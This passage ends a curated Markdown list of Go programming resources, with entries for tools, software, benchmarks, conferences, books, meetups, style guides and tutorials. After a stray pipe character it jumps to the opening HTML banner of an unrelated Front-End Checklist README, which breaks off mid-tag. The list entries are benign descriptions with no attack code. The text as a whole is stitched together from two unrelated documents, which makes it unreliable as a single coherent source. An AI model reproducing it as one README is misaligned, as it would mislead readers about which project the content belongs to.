- [terraform-provider-openapi](https://github.com/dikhan/terraform-provider-openapi) - Terraform provider plugin that dynamically configures itself at runtime based on an OpenAPI document (formerly known as swagger file) containing the definitions of the APIs exposed.
- [tf-profile](https://github.com/datarootsio/tf-profile) - Profiler for Terraform runs. Generate global stats, resource-level stats or visualizations.
- [traefik](https://github.com/containous/traefik) - Reverse proxy and load balancer with support for multiple backends.
- [trubka](https://github.com/xitonix/trubka) - A CLI tool to manage and troubleshoot Apache Kafka clusters with the ability of generically publishing/consuming protocol buffer and plain text events to/from Kafka.
- [uTask](https://github.com/ovh/utask) - Automation engine that models and executes business processes declared in yaml.
- [Vegeta](https://github.com/tsenart/vegeta) - HTTP load testing tool and library. It's over 9000!
- [wait-for](https://github.com/dnnrly/wait-for) - Wait for something to happen (from the command line) before continuing. Easy orchestration of Docker services and other things.
- [webhook](https://github.com/adnanh/webhook) - Tool which allows user to create HTTP endpoints (hooks) that execute commands on the server.
- [Wide](https://wide.b3log.org/login) - Web-based IDE for Teams using Golang.
- [winrm-cli](https://github.com/masterzen/winrm-cli) - Cli tool to remotely execute commands on Windows machines.
**[⬆ back to top](#contents)**
### Other Software
- [Better Go Playground](https://goplay.tools) - Go playground with syntax highlight, code completion and other features.
- [blocky](https://github.com/0xERR0R/blocky) - Fast and lightweight DNS proxy as ad-blocker for local network with many features.
- [borg](https://github.com/crufter/borg) - Terminal based search engine for bash snippets.
- [boxed](https://github.com/tejo/boxed) - Dropbox based blog engine.
- [Cherry](https://github.com/rafael-santiago/cherry) - Tiny webchat server in Go.
- [Circuit](https://github.com/gocircuit/circuit) - Circuit is a programmable platform-as-a-service (PaaS) and/or Infrastructure-as-a-Service (IaaS), for management, discovery, synchronization and orchestration of services and hosts comprising cloud applications.
- [Comcast](https://github.com/tylertreat/Comcast) - Simulate bad network connections.
- [confd](https://github.com/kelseyhightower/confd) - Manage local application configuration files using templates and data from etcd or consul.
- [crawley](https://github.com/s0rg/crawley) - Web scraper/crawler for cli.
- [croc](https://github.com/schollz/croc) - Easily and securely send files or folders from one computer to another.
- [Docker](https://www.docker.com/) - Open platform for distributed applications for developers and sysadmins.
- [Documize](https://github.com/documize/community) - Modern wiki software that integrates data from SaaS tools.
- [dp](https://github.com/scryinfo/dp) - Through SDK for data exchange with blockchain, developers can get easy access to DAPP development.
- [drive](https://github.com/odeke-em/drive) - Google Drive client for the commandline.
- [Duplicacy](https://github.com/gilbertchen/duplicacy) - A cross-platform network and cloud backup tool based on the idea of lock-free deduplication.
- [Gebug](https://github.com/moshebe/gebug) - A tool that makes debugging of Dockerized Go applications super easy by enabling Debugger and Hot-Reload features, seamlessly.
- [gfile](https://github.com/Antonito/gfile) - Securely transfer files between two computers, without any third party, over WebRTC.
- [Go Package Store](https://github.com/shurcooL/Go-Package-Store) - App that displays updates for the Go packages in your GOPATH.
- [go-peerflix](https://github.com/Sioro-Neoku/go-peerflix) - Video streaming torrent client.
- [goblin](https://goblin.reaper.im) - Golang binaries in a curl, built by goblins.
- [GoBoy](https://github.com/Humpheh/goboy) - Nintendo Game Boy Color emulator written in Go.
- [gocc](https://github.com/goccmack/gocc) - Gocc is a compiler kit for Go written in Go.
- [GoDocTooltip](https://github.com/diankong/GoDocTooltip) - Chrome extension for Go Doc sites, which shows function description as tooltip at function list.
- [Gokapi](https://github.com/Forceu/gokapi) - Lightweight server to share files, which expire after a set amount of downloads or days. Similar to Firefox Send, but without public upload.
- [GoLand](https://jetbrains.com/go) - Full featured cross-platform Go IDE.
- [GoNB](https://github.com/janpfeifer/gonb) - Interactive Go programming with Jupyter Notebooks (also works in VSCode, Binder and Google's Colab).
- [Gor](https://github.com/buger/gor) - Http traffic replication tool, for replaying traffic from production to stage/dev environments in real-time.
- [Guora](https://github.com/meloalright/guora) - A self-hosted Quora like web application written in Go.
- [hoofli](https://github.com/dnnrly/hoofli) - Generate PlantUML diagrams from Chrome or Firefox network inspections.
- [hotswap](https://github.com/edwingeng/hotswap) - A complete solution to reload your go code without restarting your server, interrupting or blocking any ongoing procedure.
- [hugo](https://gohugo.io/) - Fast and Modern Static Website Engine.
- [ide](https://github.com/thestrukture/ide) - Browser accessible IDE. Designed for Go with Go.
- [ipe](https://github.com/dimiro1/ipe) - Open source Pusher server implementation compatible with Pusher client libraries written in GO.
- [joincap](https://github.com/assafmo/joincap) - Command-line utility for merging multiple pcap files together.
- [Juju](https://jujucharms.com/) - Cloud-agnostic service deployment and orchestration - supports EC2, Azure, Openstack, MAAS and more.
- [Leaps](https://github.com/jeffail/leaps) - Pair programming service using Operational Transforms.
- [lgo](https://github.com/yunabe/lgo) - Interactive Go programming with Jupyter. It supports code completion, code inspection and 100% Go compatibility.
- [limetext](https://limetext.github.io) - Lime Text is a powerful and elegant text editor primarily developed in Go that aims to be a Free and open-source software successor to Sublime Text.
- [LiteIDE](https://github.com/visualfc/liteide) - LiteIDE is a simple, open source, cross-platform Go IDE.
- [mockingjay](https://github.com/quii/mockingjay-server) - Fake HTTP servers and consumer driven contracts from one configuration file. You can also make the server randomly misbehave to help do more realistic performance tests.
- [myLG](https://github.com/mehrdadrad/mylg) - Command Line Network Diagnostic tool written in Go.
- [naclpipe](https://github.com/unix4fun/naclpipe) - Simple NaCL EC25519 based crypto pipe tool written in Go.
- [Neo-cowsay](https://github.com/Code-Hex/Neo-cowsay) - 🐮 cowsay is reborn. for a New Era.
- [nes](https://github.com/fogleman/nes) - Nintendo Entertainment System (NES) emulator written in Go.
- [Orbit](https://github.com/gulien/orbit) - A simple tool for running commands and generating files from templates.
- [peg](https://github.com/pointlander/peg) - Peg, Parsing Expression Grammar, is an implementation of a Packrat parser generator.
- [Plik](https://github.com/root-gg/plik) - Plik is a temporary file upload system (Wetransfer like) in Go.
- [portal](https://github.com/SpatiumPortae/portal) - Portal is a quick and easy command-line file transfer utility from any computer to another.
- [protoncheck](https://github.com/servusdei2018/protoncheck) - ProtonMail module for waybar/polybar/yabar/i3blocks.
- [restic](https://github.com/restic/restic) - De-duplicating backup program.
- [sake](https://github.com/alajmo/sake) - sake is a command runner for local and remote hosts.
- [scc](https://github.com/boyter/scc) - Sloc Cloc and Code, a very fast accurate code counter with complexity calculations and COCOMO estimates.
- [Seaweed File System](https://github.com/chrislusf/seaweedfs) - Fast, Simple and Scalable Distributed File System with O(1) disk seek.
- [shell2http](https://github.com/msoap/shell2http) - Executing shell commands via http server (for prototyping or remote control).
- [snap](https://github.com/intelsdi-x/snap) - Powerful telemetry framework.
- [Snitch](https://github.com/lucasgomide/snitch) - Simple way to notify your team and many tools when someone has deployed any application via Tsuru.
- [Stack Up](https://github.com/pressly/sup) - Stack Up, a super simple deployment tool - just Unix - think of it like 'make' for a network of servers.
- [stew](https://github.com/marwanhawari/stew) - An independent package manager for compiled binaries.
- [syncthing](https://syncthing.net/) - Open, decentralized file synchronization tool and protocol.
- [tcpdog](https://github.com/mehrdadrad/tcpdog) - eBPF based TCP observability.
- [tcpprobe](https://github.com/mehrdadrad/tcpprobe) - TCP tool for network performance and path monitoring, including socket statistics.
- [term-quiz](https://github.com/crazcalm/term-quiz) - Quizzes for your terminal.
- [toxiproxy](https://github.com/shopify/toxiproxy) - Proxy to simulate network and system conditions for automated tests.
- [tsuru](https://tsuru.io/) - Extensible and open source Platform as a Service software.
- [vaku](https://github.com/lingrino/vaku) - CLI & API for folder-based functions in Vault like copy, move, and search.
- [vFlow](https://github.com/VerizonDigital/vflow) - High-performance, scalable and reliable IPFIX, sFlow and Netflow collector.
- [wellington](https://github.com/wellington/wellington) - Sass project management tool, extends the language with sprite functions (like Compass).
- [woke](https://github.com/get-woke/woke) - Detect non-inclusive language in your source code.
- [zs](https://git.mills.io/prologic/zs) - an extremely minimal static site generator.
**[⬆ back to top](#contents)**
# Resources
_Where to discover new Go libraries._
**[⬆ back to top](#contents)**
## Benchmarks
- [autobench](https://github.com/davecheney/autobench) - Framework to compare the performance between different Go versions.
- [go-benchmark-app](https://github.com/mrLSD/go-benchmark-app) - Powerful HTTP-benchmark tool mixed with Аb, Wrk, Siege tools. Gathering statistics and various parameters for benchmarks and comparison results.
- [go-benchmarks](https://github.com/tylertreat/go-benchmarks) - Few miscellaneous Go microbenchmarks. Compare some language features to alternative approaches.
- [go-http-routing-benchmark](https://github.com/julienschmidt/go-http-routing-benchmark) - Go HTTP request router benchmark and comparison.
- [go-json-benchmark](https://github.com/zerosnake0/go-json-benchmark) - Go JSON benchmark.
- [go-ml-benchmarks](https://github.com/nikolaydubina/go-ml-benchmarks) - benchmarks for machine learning inference in Go.
- [go-web-framework-benchmark](https://github.com/smallnest/go-web-framework-benchmark) - Go web framework benchmark.
- [go_serialization_benchmarks](https://github.com/alecthomas/go_serialization_benchmarks) - Benchmarks of Go serialization methods.
- [gocostmodel](https://github.com/PuerkitoBio/gocostmodel) - Benchmarks of common basic operations for the Go language.
- [golang-sql-benchmark](https://github.com/tyler-smith/golang-sql-benchmark) - Collection of benchmarks for popular Go database/SQL utilities.
- [gospeed](https://github.com/feyeleanor/GoSpeed) - Go micro-benchmarks for calculating the speed of language constructs.
- [kvbench](https://github.com/jimrobinson/kvbench) - Key/Value database benchmark.
- [skynet](https://github.com/atemerev/skynet) - Skynet 1M threads microbenchmark.
- [speedtest-resize](https://github.com/fawick/speedtest-resize) - Compare various Image resize algorithms for the Go language.
**[⬆ back to top](#contents)**
## Conferences
- [GoCon](https://gocon.connpass.com/) - Tokyo, Japan.
- [GoDays](https://www.godays.io/) - Berlin, Germany.
- [GoLab](https://golab.io/) - Florence, Italy.
- [GopherChina](https://gopherchina.org) - Shanghai, China.
- [GopherCon](https://www.gophercon.com/) - Denver, USA.
- [GopherCon Australia](https://gophercon.com.au/) - Sydney, Australia.
- [GopherCon Brazil](https://gopherconbr.org) - Florianópolis, Brazil.
- [GopherCon Europe](https://gophercon.eu/) - Berlin, Germany.
- [GopherCon India](https://www.gophercon.in/) - Pune, India.
- [GopherCon Israel](https://www.gophercon.org.il/) - Tel Aviv, Israel.
- [GopherCon Russia](https://www.gophercon-russia.ru) - Moscow, Russia.
- [GopherCon Singapore](https://gophercon.sg) - Mapletree Business City, Singapore.
- [GopherCon UK](https://www.gophercon.co.uk/) - London, UK.
- [GopherCon Vietnam](https://gophercon.vn/) - Ho Chi Minh City, Vietnam.
- [GoWest Conference](https://www.gowestconf.com/) - Lehi, USA.
**[⬆ back to top](#contents)**
## E-Books
### E-books for purchase
- [100 Go Mistakes: How to Avoid Them](https://www.manning.com/books/100-go-mistakes-how-to-avoid-them)
- [Black Hat Go](https://nostarch.com/blackhatgo) - Go programming for hackers and pentesters.
- [Build an Orchestrator in Go](https://www.manning.com/books/build-an-orchestrator-in-go)
- [Continuous Delivery in Go](https://www.manning.com/books/continuous-delivery-in-go) - This practical guide to continuous delivery shows you how to rapidly establish an automated pipeline that will improve your testing, code quality, and final product.
- [Creative DIY Microcontroller Project With TinyGo and WebAssembly](https://www.packtpub.com/product/creative-diy-microcontroller-projects-with-tinygo-and-webassembly/9781800560208) - An introduction into the TinyGo compiler with projects involving Arduino and WebAssembly.
- [Effective Go: Elegant, efficient, and testable code](https://www.manning.com/books/effective-go) - Unlock Go’s unique perspective on program design, and start writing simple, maintainable, and testable Go code.
- [For the Love of Go](https://bitfieldconsulting.com/books/love) - An introductory book for Go beginners.
- [Go Faster](https://leanpub.com/gofaster) - This book seeks to shorten your learning curve and help you become a proficient Go programmer, faster.
- [Know Go: Generics](https://bitfieldconsulting.com/books/generics) - A guide to understanding and using generics in Go.
- [Lets-Go](https://lets-go.alexedwards.net) - A step-by-step guide to creating fast, secure and maintanable web applications with Go.
- [Lets-Go-Further](https://lets-go-further.alexedwards.net) - Advanced patterns for building APIs and web applications in Go.
- [The Power of Go: Tests](https://bitfieldconsulting.com/books/tests) - A guide to testing in Go.
- [The Power of Go: Tools](https://bitfieldconsulting.com/books/tools) - A guide to writing command-line tools in Go.
- [Writing A Compiler In Go](https://compilerbook.com)
- [Writing An Interpreter In Go](https://interpreterbook.com) - Book that introduces dozens of techniques for writing idiomatic, expressive, and efficient Go code that avoids common pitfalls.
### Free e-books
- [A Go Developer's Notebook](https://leanpub.com/GoNotebook/read)
- [An Introduction to Programming in Go](http://www.golang-book.com/)
- [Build Web Application with Golang](https://astaxie.gitbooks.io/build-web-application-with-golang/content/en/)
- [Building Web Apps With Go](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/)
- [Go 101](https://go101.org) - A book focusing on Go syntax/semantics and all kinds of details.
- [Go AST Book (Chinese)](https://github.com/chai2010/go-ast-book) - A book focusing on Go `go/*` packages.
- [Go Succinctly](https://github.com/thedevsir/gosuccinctly) - in Persian.
- [GoBooks](https://github.com/dariubs/GoBooks) - A curated list of Go books.
- [How To Code in Go eBook](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) - A 600 page introduction to Go aimed at first time developers.
- [Learning Go](https://www.miek.nl/downloads/Go/Learning-Go-latest.pdf)
- [Network Programming With Go](https://jan.newmarch.name/golang/)
- [Practical Go Lessons](https://www.practical-go-lessons.com/)
- [Spaceship Go A Journey to the Standard Library](https://blasrodri.github.io/spaceship-go-gh-pages/)
- [The Go Programming Language](https://www.gopl.io/)
- [The Golang Standard Library by Example (Chinese)](https://github.com/polaris1119/The-Golang-Standard-Library-by-Example)
- [Web Application with Go the Anti-Textbook](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/)
**[⬆ back to top](#contents)**
## Gophers
- [Free Gophers Pack](https://github.com/MariaLetta/free-gophers-pack) - Gopher graphics pack by Maria Letta with illustrations and emotional characters in vector and raster.
- [Go-gopher-Vector](https://github.com/keygx/Go-gopher-Vector) - Go gopher Vector Data [.ai, .svg].
- [gopher-logos](https://github.com/GolangUA/gopher-logos) - adorable gopher logos.
- [gopher-stickers](https://github.com/tenntenn/gopher-stickers)
- [gophericons](https://github.com/shalakhin/gophericons)
- [gopherize.me](https://github.com/matryer/gopherize.me) - Gopherize yourself.
- [gophers](https://github.com/ashleymcnamara/gophers) - Gopher artworks by Ashley McNamara.
- [gophers](https://github.com/egonelbre/gophers) - Free gophers.
- [gophers](https://github.com/rogeralsing/gophers) - random gopher graphics.
- [gophers](https://github.com/sillecelik/go-gopher) - Gopher amigurumi toy pattern.
- [gophers](https://github.com/scraly/gophers) - Gophers by Aurélie Vache.
**[⬆ back to top](#contents)**
## Meetups
- [Basel Go Meetup](https://www.meetup.com/Basel-Go-Meetup/)
- [Belfast Gophers](https://www.meetup.com/Belfast-Gophers/)
- [Belgrade Golang Meetup](https://www.meetup.com/golang-serbia/)
- [Berlin Golang](https://www.meetup.com/golang-users-berlin/)
- [Brisbane Gophers](https://www.meetup.com/Brisbane-Golang-Meetup/)
- [Canberra Gophers](https://www.meetup.com/Canberra-Gophers/)
- [Go Language NYC](https://www.meetup.com/golanguagenewyork/)
- [Go London User Group](https://www.meetup.com/Go-London-User-Group/)
- [Go Remote Meetup](https://www.meetup.com/Go-Remote-Meetup/)
- [Go Toronto](https://www.meetup.com/go-toronto/)
- [Go User Group Atlanta](https://www.meetup.com/Go-Users-Group-Atlanta/)
- [GoBandung](https://www.meetup.com/GoBandung/)
- [GoBridge, San Francisco, CA](https://www.meetup.com/gobridge/)
- [GoCracow - Krakow, Poland](https://www.meetup.com/GoCracow/)
- [GoJakarta](https://www.meetup.com/GoJakarta/)
- [Golang Amsterdam](https://www.meetup.com/golang-amsterdam/)
- [Golang Argentina](https://www.meetup.com/Golang-Argentina/)
- [Golang Athens](https://www.meetup.com/Athens-Gophers/)
- [Golang Baltimore, MD](https://www.meetup.com/BaltimoreGolang/)
- [Golang Bangalore](https://www.meetup.com/Golang-Bangalore/)
- [Golang Belo Horizonte - Brazil](https://www.meetup.com/go-belo-horizonte/)
- [Golang Boston](https://www.meetup.com/bostongo/)
- [Golang Bulgaria](https://www.meetup.com/Golang-Bulgaria/)
- [Golang Cardiff, UK](https://www.meetup.com/Cardiff-Go-Meetup/)
- [Golang Copenhagen](https://www.meetup.com/Go-Cph/)
- [Golang Curitiba - Brazil](https://www.meetup.com/GolangCWB/)
- [Golang DC, Arlington, VA](https://www.meetup.com/Golang-DC/)
- [Golang Dorset, UK](https://www.meetup.com/golang-dorset/)
- [Golang Estonia](https://www.meetup.com/Golang-Estonia/)
- [Golang Gurgaon, India](https://www.meetup.com/Gurgaon-Go-Meetup/)
- [Golang Hamburg - Germany](https://www.meetup.com/Go-User-Group-Hamburg/)
- [Golang Israel](https://www.meetup.com/Go-Israel/)
- [Golang Kathmandu](https://www.meetup.com/Golang-Kathmandu/)
- [Golang Korea](https://www.meetup.com/GDG-Golang-Korea/)
- [Golang Lima - Peru](https://www.meetup.com/Golang-Peru/)
- [Golang Lyon](https://www.meetup.com/Golang-Lyon/)
- [Golang Marseille](https://www.meetup.com/fr-FR/Golang-Marseille/)
- [Golang Melbourne](https://www.meetup.com/golang-mel/)
- [Golang Mountain View](https://www.meetup.com/Golang-Mountain-View/)
- [Golang North East](https://www.meetup.com/en-AU/Golang-North-East/)
- [Golang Paris](https://www.meetup.com/Golang-Paris/)
- [Golang Poland](https://www.meetup.com/Golang-Poland/)
- [Golang Pune](https://www.meetup.com/Golang-Pune/)
- [Golang Rotterdam](https://www.meetup.com/golang-rotterdam/)
- [Golang Singapore](https://www.meetup.com/golangsg/)
- [Golang Stockholm](https://www.meetup.com/Go-Stockholm/)
- [Golang Sydney, AU](https://www.meetup.com/golang-syd/)
- [Golang São Paulo - Brazil](https://www.meetup.com/golangbr/)
- [Golang Taipei](https://www.meetup.com/golang-taipei-meetup/)
- [Golang Thessaloniki](https://www.meetup.com/thessaloniki-golang-meetup/)
- [Golang Turkey](https://kommunity.com/goturkiye)
- [Golang Vancouver, BC](https://www.meetup.com/golangvan/)
- [Golang Vienna, Austria](https://www.meetup.com/viennago/)
- [Golang Москва](https://www.meetup.com/Golang-Moscow/)
- [GoSF - San Francisco, CA](https://www.meetup.com/golangsf)
- [Istanbul Golang](https://www.meetup.com/Istanbul-Golang/)
- [Seattle Go Programmers](https://www.meetup.com/golang/)
- [Ukrainian Golang User Groups](https://www.meetup.com/uagolang/)
- [Utah Go User Group](https://www.meetup.com/utahgophers/)
- [Women Who Go - San Francisco, CA](https://www.meetup.com/Women-Who-Go/)
_Add the group of your city/country here (send **PR**)_
**[⬆ back to top](#contents)**
## Style Guides
- [bahlo/go-styleguide](https://github.com/bahlo/go-styleguide)
- [CockroachDB](https://github.com/cockroachdb/cockroach/blob/master/docs/style.md)
- [GitLab](https://docs.gitlab.com/ee/development/go_guide/)
- [Google](https://google.github.io/styleguide/go/)
- [Hyperledger](https://github.com/hyperledger/fabric/blob/release-1.4/docs/source/style-guides/go-style.rst)
- [Magnetico](https://github.com/boramalper/magnetico/wiki/magnetico-Design-Specification)
- [Sourcegraph](https://docs.sourcegraph.com/dev/background-information/languages/go)
- [Thanos](https://thanos.io/tip/contributing/coding-style-guide.md/)
- [Trybe](https://github.com/betrybe/playbook-go/blob/main/README_EN.md)
- [Uber](https://github.com/uber-go/guide/blob/master/style.md)
**[⬆ back to top](#contents)**
## Social Media
### Twitter
- [@GoDiscussions](https://twitter.com/GoDiscussions)
- [@golang](https://twitter.com/golang)
- [@golang_news](https://twitter.com/golang_news)
- [@golangch](https://twitter.com/golangch)
- [@golangflow](https://twitter.com/golangflow)
- [@golangweekly](https://twitter.com/golangweekly)
**[⬆ back to top](#contents)**
### Reddit
- [r/golang](https://www.reddit.com/r/golang/)
**[⬆ back to top](#contents)**
## Websites
- [Awesome Go @LibHunt](https://go.libhunt.com) - Your go-to Go Toolbox.
- [Awesome Golang Workshops](https://github.com/amit-davidson/awesome-golang-workshops) - A curated list of awesome golang workshops.
- [Awesome Remote Job](https://github.com/lukasz-madon/awesome-remote-job) - Curated list of awesome remote jobs. A lot of them are looking for Go hackers.
- [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) - List of other amazingly awesome lists.
- [awesome-go-extra](https://github.com/xwjdsh/awesome-go-extra) - Parse awesome-go README file and generate a new README file with repo info.
- [Code with Mukesh](https://codewithmukesh.com/blog/category/golang) - Software Engineer and Blogs @ codewithmukesh.com.
- [Coding Mystery](https://codingmystery.com) - Solve exciting escape-room-inspired programming challenges using Go.
- [CodinGame](https://www.codingame.com/) - Learn Go by solving interactive tasks using small games as practical examples.
- [Explore Go Libraries & Projects](https://kandi.openweaver.com/explore/go) - Discover & find a curated list of popular & new Go libraries, top authors, trending project kits, discussions, tutorials & learning resources on kandi.
- [Go Blog](https://blog.golang.org) - The official Go blog.
- [Go Code Club](https://www.youtube.com/watch?v=nvoIPQYdx9g&list=PLEcwzBXTPUE_YQR7R0BRtHBYJ0LN3Y0i3) - A group of Gophers read and discuss a different Go project every week.
- [Go Community on Hashnode](https://hashnode.com/n/go) - Community of Gophers on Hashnode.
- [Go Forum](https://forum.golangbridge.org) - Forum to discuss Go.
- [Go Projects](https://github.com/golang/go/wiki/Projects) - List of projects on the Go community wiki.
- [Go Proverbs](https://go-proverbs.github.io/) - Go Proverbs by Rob Pike.
- [Go Report Card](https://goreportcard.com) - A report card for your Go package.
- [go.dev](https://go.dev/) - A hub for Go developers.
- [gocryforhelp](https://github.com/ninedraft/gocryforhelp) - Collection of Go projects that needs help. Good place to start your open-source way in Go.
- [godoc.org](https://godoc.org/) - Documentation for open source Go packages.
- [Golang Developer Jobs](https://golangjob.xyz) - Developer Jobs exclusively for Golang related Roles.
- [Golang Flow](https://golangflow.io) - Post Updates, News, Packages and more.
- [Golang News](https://golangnews.com) - Links and news about Go programming.
- [Golang Resources](https://golangresources.com) - A curation of the best articles, exercises, talks and videos to learn Go.
- [Golang Weekly](https://discu.eu/weekly/golang/) - Each monday projects, tutorials and articles about Go.
- [golang-graphics](https://github.com/mholt/golang-graphics) - Collection of Go images, graphics, and art.
- [golang-nuts](https://groups.google.com/forum/#!forum/golang-nuts) - Go mailing list.
- [Google Plus Community](https://plus.google.com/communities/114112804251407510571) - The Google+ community for #golang enthusiasts.
- [Gopher Community Chat](https://invite.slack.golangbridge.org) - Join Our New Slack Community For Gophers ([Understand how it came](https://blog.gopheracademy.com/gophers-slack-community/)).
- [Gophercises](https://gophercises.com/) - Free coding exercises for budding gophers.
- [gowalker.org](https://gowalker.org) - Go Project API documentation.
- [json2go](https://m-zajac.github.io/json2go) - Advanced JSON to Go struct conversion - online tool.
- [justforfunc](https://www.youtube.com/c/justforfunc) - Youtube channel dedicated to Go programming language tips and tricks, hosted by Francesc Campoy [@francesc](https://twitter.com/francesc).
- [Learn Go Programming](https://blog.learngoprogramming.com) - Learn Go concepts with illustrations.
- [Made with Golang](https://madewithgolang.com/?ref=awesome-go)
- [r/Golang](https://www.reddit.com/r/golang) - News about Go.
- [studygolang](https://studygolang.com) - The community of studygolang in China.
- [Trending Go repositories on GitHub today](https://github.com/trending?l=go) - Good place to find new Go libraries.
- [TutorialEdge - Golang](https://tutorialedge.net/course/golang/)
**[⬆ back to top](#contents)**
### Tutorials
- [50 Shades of Go](https://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/) - Traps, Gotchas, and Common Mistakes for New Golang Devs.
- [A Comprehensive Guide to Structured Logging in Go](https://betterstack.com/community/guides/logging/logging-in-go/) - Delve deep into the world of structured logging in Go with a specific focus on recently accepted slog proposal which aims to bring high performance structured logging with levels to the standard library.
- [A Guide to Golang E-Commerce](https://snipcart.com/blog/golang-ecommerce-ponzu-cms-demo?utm_term=golang-ecommerce-ponzu-cms-demo) - Building a Golang site for e-commerce (demo included).
- [A Tour of Go](https://tour.golang.org/) - Interactive tour of Go.
- [Build a Database in 1000 lines of code]( https://link.medium.com/O9YQlx89Htb) - Build a NoSQL Database From Zero in 1000 Lines of Code.
- [Build web application with Golang](https://github.com/astaxie/build-web-application-with-golang) - Golang ebook intro how to build a web app with golang.
- [Building and Testing a REST API in Go with Gorilla Mux and PostgreSQL](https://semaphoreci.com/community/tutorials/building-and-testing-a-rest-api-in-go-with-gorilla-mux-and-postgresql) - We’ll write an API with the help of the powerful Gorilla Mux.
- [Building Go Web Applications and Microservices Using Gin](https://semaphoreci.com/community/tutorials/building-go-web-applications-and-microservices-using-gin) - Get familiar with Gin and find out how it can help you reduce boilerplate code and build a request handling pipeline.
- [Caching Slow Database Queries](https://medium.com/@rocketlaunchr.cloud/caching-slow-database-queries-1085d308a0c9) - How to cache slow database queries.
- [Canceling MySQL](https://medium.com/@rocketlaunchr.cloud/canceling-mysql-in-go-827ed8f83b30) - How to cancel MySQL queries.
- [CodeCrafters Golang Track](https://app.codecrafters.io/tracks/go) - Achieve mastery in advanced Go by building your own Redis, Docker, Git, and SQLite. Featuring goroutines, systems programming, file I/O, and more.
- [Debugged.it Go patterns](https://github.com/haveyoudebuggedit/go-patterns) - Advanced Go patterns with ready-to-run examples.
- [Design Patterns in Go](https://github.com/shubhamzanwar/design-patterns) - Collection of programming design patterns implemented in Go.
- [Ethereum Development with Go](https://github.com/miguelmota/ethereum-development-with-go-book) - A little e-book on Ethereum Development with Go.
- [Games With Go](https://www.youtube.com/watch?v=9D4yH7e_ea8&list=PLDZujg-VgQlZUy1iCqBbe5faZLMkA3g2x) - A video series teaching programming and game development.
- [Go By Example](https://gobyexample.com/) - Hands-on introduction to Go using annotated example programs.
- [Go Cheat Sheet](https://github.com/a8m/go-lang-cheat-sheet) - Go's reference card.
- [Go database/sql tutorial](http://go-database-sql.org/) - Introduction to database/sql.
- [Go in 7 days](https://github.com/harrytran103/7_days_of_go) - Learn everything about Go in 7 days (from a Nodejs developer).
- [Go Language Tutorial](https://www.javatpoint.com/go-tutorial) - Learn Go language Tutorial.
- [Go Tutorial](https://www.tutorialspoint.com/go/index.htm) - Learn Go programming.
- [Go WebAssembly Tutorial - Building a Simple Calculator](https://tutorialedge.net/golang/go-webassembly-tutorial/)
- [go-clean-template](https://github.com/evrone/go-clean-template) - Clean Architecture template for Golang services.
- [go-patterns](https://github.com/tmrts/go-patterns) - Curated list of Go design patterns, recipes and idioms.
- [goapp](https://github.com/bnkamalesh/goapp) - An opinionated guideline to structure & develop a Go web application/service.
- [Golang for Node.js Developers](https://github.com/miguelmota/golang-for-nodejs-developers) - Examples of Golang compared to Node.js for learning.
- [Golang Tutorial Guide](https://www.freecodecamp.org/news/golang-tutorial-list-free-courses-learn-go-programming-language/) - A List of Free Courses to Learn the Go Programming Language.
- [Golangbot](https://golangbot.com/learn-golang-series/) - Tutorials to get started with programming in Go.
- [GopherCoding](https://gophercoding.com/) - Collection of code snippets and tutorials to help tackle every day issues.
- [GopherSnippets](https://gophersnippets.com/) - Code snippets with tests and testable examples for the Go programming language.
- [Gosamples](https://gosamples.dev/) - Collection of code snippets that let you solve everyday code problems.
- [Hackr.io](https://hackr.io/tutorials/learn-golang) - Learn Go from the best online golang tutorials submitted & voted by the golang programming community.
- [Hex Monscape](https://github.com/Haraj-backend/hex-monscape) - Getting started guidelines in writing maintainable code using Hexagonal Architecture.
- [How to Benchmark: dbq vs sqlx vs GORM](https://medium.com/@rocketlaunchr.cloud/how-to-benchmark-dbq-vs-sqlx-vs-gorm-e814caacecb5) - Learn how to benchmark in Go. As a case-study, we will benchmark dbq, sqlx and GORM.
- [How To Deploy a Go Web Application with Docker](https://semaphoreci.com/community/tutorials/how-to-deploy-a-go-web-application-with-docker) - Learn how to use Docker for Go development and how to build production Docker images.
- [How to Use Godog for Behavior-driven Development in Go](https://semaphoreci.com/community/tutorials/how-to-use-godog-for-behavior-driven-development-in-go) - Get started with Godog — a Behavior-driven development framework for building and testing Go applications.
- [Learn Go with 1000+ Exercises](https://github.com/inancgumus/learngo) - Learn Go with thousands of examples, exercises, and quizzes.
- [Learn Go with TDD](https://github.com/quii/learn-go-with-tests) - Learn Go with test-driven development.
- [Learning Go by examples](https://dev.to/aurelievache/learning-go-by-examples-introduction-448n) - Series of articles in order to learn Golang language by concrete applications as example.
- [Microservices with Go](https://www.youtube.com/playlist?list=PLmD8u-IFdreyh6EUfevBcbiuCKzFk0EW_) - Dive deep into building microservices using Go, including gRPC.
- [package main](https://www.youtube.com/packagemain) - YouTube channel about Programming in Go.
- [Programming with Google Go](https://www.coursera.org/specializations/google-golang) - Coursera Specialization to learn about Go from scratch.
- [Saving a Third of Our Memory by Re-ordering Go Struct Fields](https://qvault.io/golang/struct-field-ordering-memory/) - How inefficient field ordering in Go structs.
- [Scaling Go Applications](https://betterstack.com/community/guides/scaling-go/) - Everything about building, deploying and scaling Go applications in production.
- [The world’s easiest introduction to WebAssembly with Golang](https://medium.com/@martinolsansky/webassembly-with-golang-is-fun-b243c0e34f02)
- [W3basic Go Tutorials](https://www.w3basic.com/golang/) - W3Basic provides an in-depth tutorial and well-organized content to learn Golang programming.
- [Working with Go](https://github.com/mkaz/working-with-go) - Intro to go for experienced programmers.
- [Your basic Go](https://yourbasic.org/golang) - Huge collection of tutorials and how to's.
**[⬆ back to top](#contents)**
### Guided Learning
- [The Go Developer Roadmap](https://roadmap.sh/golang) - A visual roadmap that new Go developers can follow through to help them learn Go.
- [The Go Learning Path](https://tutorialedge.net/paths/golang/) - A guided learning path containing a mix of free and premium resources.
**[⬆ back to top](#contents)**
|
<h1 align="center">
<br>
<img src="https://raw.githubusercontent.com/thedaviddias/Front-End-Checklist/master/data/images/logo-front-end-checklist.jpg" alt="Front-End Checklist" width="130">
<br>
<br>
Front-End Checklist
<br>
</h1>
---
<h3 align="center">🚨 Currently working on new version of frontendchecklist.io,<br>feel free to <a href="https://github.com/thedaviddias/Front-End-Checklist/discussions/513">discuss</a> any feature you would like to see. Thanks for your support!</h3>
---
<h4 align="center">The Front-End Checklist is an exhaustive list of all elements you need to have / to test before launching your website / HTML page to production.</h4>
<p align="center">
<a href="http://makeapullrequest.com">
